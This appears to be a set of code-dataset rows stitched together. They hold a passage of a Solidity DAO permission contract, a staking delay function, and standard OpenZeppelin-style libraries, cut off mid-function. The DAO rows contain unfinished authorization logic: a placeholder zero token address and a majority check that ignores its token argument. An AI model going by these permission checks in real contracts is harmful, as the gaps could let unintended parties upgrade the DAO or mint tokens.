// 0 - is can do by address?
if(store.isCanDoByAddress(_permissionName, _a)){
return true;
}
// 1 - check if employees can do that without voting?
// TODO: generalize for ALL groups!
if(store.isCanDoByGroupMember(_permissionName, "Employees") && store.isGroupMember("Employees", _a)){
return true;
}
// 2 - check if shareholder can do that without voting?
// TODO: implement this
// TODO: pass token address
address someToken = 0x0;
if(store.isCanDoByShareholder(_permissionName) && isShareholder(_a, someToken)){
return true;
}
// 2 - can do action only by starting new vote first?
var (isCan, tokenAddressForVoting) = store.isCanDoByVoting(_permissionName);
if(isCan){
var (isVotingFound, votingResult) = store.getProposalVotingResults(msg.sender);
if(isVotingFound){
// if this action can be done by voting, then Proposal can do this action
// from within its context
// in this case msg.sender is a Voting!
return votingResult;
}
// 3 - only token holders with > 51% of gov.tokens can add new task immediately
// otherwise -> start voting
if(isInMajority(_a, tokenAddressForVoting)){
return true;
}
return false;
}
return false;
}
function upgradeDaoContract(IDaoBase _new) public isCanDo("upgradeDao") {
// call observers.onUpgrade() for all observers
for(uint i=0; i<store.getObserverCount(); ++i){
IDaoObserver(store.getObserverAtIndex(i)).onUpgrade(_new);
}
store.transferOwnership(_new);
store.stdToken().transferOwnership(_new);
}
function addNewProposal(IProposal _proposal) public isCanDo("addNewProposal") {
store.addNewProposal(_proposal);
}
function getProposalAtIndex(uint _i)public constant returns(IProposal){
return store.getProposalAtIndex(_i);
}
function getProposalsCount()public constant returns(uint){
return store.proposalsCount();
}
function issueTokens(address _to, uint _amount)public isCanDo("issueTokens") {
issueTokensInternal(_to, _amount);
}
// Public (for tests)
function isShareholder(address _a, address _token) public constant returns(bool){
// TODO: use _tokenAddress
return store.isShareholder(_a, _token);
}
// only token holders with > 51% of gov.tokens can add new task immediately
function isInMajority(address _a, address _tokenAddress) public constant returns(bool){
// TODO: use _tokenAddress
return(store.stdToken().balanceOf(_a)>=store.stdToken().totalSupply()/2);
}
function issueTokensInternal(address _to, uint _amount) internal {
// token ownership should be transferred to the current DaoBase
store.stdToken().mint(_to, _amount);
}
}
contract DaoBaseWithUnpackers is DaoBase {
function DaoBaseWithUnpackers(DaoStorage _store) public
DaoBase(_store)
{
}
function upgradeDaoContractGeneric(bytes32[] _params) public {
IDaoBase _b = IDaoBase(address(_params[0]));
upgradeDaoContract(_b);
}
function addGroupMemberGeneric(bytes32[] _params) public {
// TODO: implement
assert(false);
/*
bytes32 _group = bytes32(_params[0]);
address _emp = address(_params[1]);
addGroupMember(_group, _emp);
*/
}
function issueTokensGeneric(bytes32[] _params) public {
address _to = address(_params[0]);
uint _amount = uint(_params[1]);
issueTokens(_to, _amount);
}
}
|
TODO: use _tokenAddress see <addActionBySha> method
|
function isCanDoByShareholder(string _permissionName) public constant returns(bool){
return byShareholder[_permissionName];
}
| 6,349,442
|
./partial_match/8453/0x6604a8e255724326796893f2916DdAeE308A0f66/sources/PerksProtocol.sol
|
addDelay function/ User Set compounding Claiming delay Process delay
|
function addDelay(address _user, uint256 _status) private {
if (!excludeReward[_user]) {
UserData storage user = userData[_user];
compoundCheck(_user, _status);
user.nextClaim = (block.timestamp).add(claimDelay);
user.nextProcess = (block.timestamp).add(processDelay);
}
}
| 16,715,556
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor() internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
// Equivalent to !contains(map, key)
map._entries.push(MapEntry({_key: key, _value: value}));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
// Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key)
private
view
returns (bool)
{
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index)
private
view
returns (bytes32, bytes32)
{
require(
map._entries.length > index,
"EnumerableMap: index out of bounds"
);
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key)
private
view
returns (bool, bytes32)
{
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
